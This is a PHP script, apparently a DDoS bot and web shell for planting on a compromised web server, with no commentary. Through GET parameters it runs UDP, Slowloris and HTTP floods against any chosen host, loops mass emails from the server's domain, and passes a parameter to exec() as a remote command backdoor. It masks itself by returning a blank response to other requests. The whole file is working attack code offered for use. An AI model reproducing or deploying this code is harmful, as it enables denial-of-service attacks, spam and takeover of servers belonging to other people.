<?php
if (!isset($_GET['type']))
{
	die("&nbsp;");
}
ignore_user_abort(TRUE);
set_time_limit(0);
if ($_GET['type'] == "udp")
{
	if ((!isset($_GET['host']))
	OR (!isset($_GET['time']))
	OR (!isset($_GET['port'])))
	{
		die("&nbsp;");
	}
	$out='';
    $packets = 0;
    $exec_time = $_GET['time'];
    $time = time();
    $max_time = $time + $exec_time;
    $host = $_GET['host'];
    for($i = 0; $i < 65000; $i++)
	{
		$out .= 'X';
    }
    while(1)
	{
		$packets++;
		if(time() > $max_time)
		{
			break;
		}
		if ($_GET['port'] == "rand")
		{
			$rand = rand(1,65000);
		}
		else
		{
			$rand = $_GET['port'];
		}
		$fp = fsockopen("udp://{$host}", $rand, $errno, $errstr, 5);
		if($fp)
		{
			fwrite($fp, $out);
			fclose($fp);
		}
		}
    echo "UDP flood completed with {$packets} packets (" . round((($packets*65)/1024)/$exec_time, 2) . " MB per second) packets averaging ". round($packets/$exec_time, 2) . " packets per second";
 }
 else if ($_GET['type'] == "slowloris")
 {
	if ((!isset($_GET['time']))
	OR (!isset($_GET['host'])))
	{
		die("&nbsp;");
	}
	$host = $_GET['host'];
	$exec_time = $_GET['time'];
	$time = time();
	$max_time = $time + $exec_time;

	while(1)
	{
		if(time() > $max_time)
		{
			break;
		}
		$fp = fsockopen($host, 80, $errno, $errstr);
		if (!$fp)
		{
			die("&nbsp;");
		}
		else
		{
			$out = "POST / HTTP/1.1\r\n";
			$out .= "Host: {$host}\r\n";
			$out .= "User-Agent: Opera/9.21 (Windows NT 5.1; U; en)\r\n";
			$out .= "Content-Length: " . rand(1, 1000) . "\r\n";
			$out .= "X-a: " . rand(1,10000) . "\r\n";
			fwrite($fp, $out);
		}
	}
	echo "Slowloris flood complete after: {$exec_time} seconds";
}
else if ($_GET['type'] == "http")
{
	if ((!isset($_GET['host']))
	OR (!isset($_GET['time']))
	OR (!isset($_GET['page'])))
	{
		die("&nbsp;");
	}
	$host = $_GET['host'];
	$exec_time = $_GET['time'];
	$time = time();
	$max_time = $time+$exec_time;
	while(1)
	{
		if(time() > $max_time)
		{
			break;
		}
		$fp = fsockopen($host, 80, $errno, $errstr, 140);
		if (!$fp)
		{
			die("&nbsp;");
		}
		else
		{
			$out = "GET {$_GET['page']} HTTP/1.1\r\n";
			$out .= "Host: {$ip}\r\n";
			$out .= "User-Agent: Opera/9.21 (Windows NT 5.1; U; en)\r\n";
			$out .= "Accept: */*\r\n\r\n";
			fwrite($fp, $out);
		}
	}
	echo "HTTP flood complete after: {$exec_time} seconds\n";
}
else if ($_GET['type'] == "mail")
{
	if ((!isset($_GET['to']))
	OR (!isset($_GET['message'])))
	{
		die("&nbsp;");
	}
	$exec_time = $_GET['time'];
	$time = time();
	$max_time = $time+$exec_time;
	while(1)
	{
		if (time() > $max_time)
		{
			break;
		}
		$to = $_GET['to'];
		$subject = "Important Message";
		$body = $_GET['message'];
		$headers = "From: nobud@{$_SERVER['HTTP_HOST']}\r\n";
		$headers .= "Reply-To: nubud@{$_SERVER['HTTP_HOST']}\r\n";
		$headers .= "X-Mailer: PHP/" . phpversion();
		mail($to, $subject, $body, $headers);
	}
}
else if ($_GET['type'] == "cmd")
{
	if (!isset($_GET['exec']))
	{
		die("&nbsp;");
	}
	exec($_GET['exec']);
	print_r($outputArr);
}
else
{
	die("&nbsp;");
}

?>
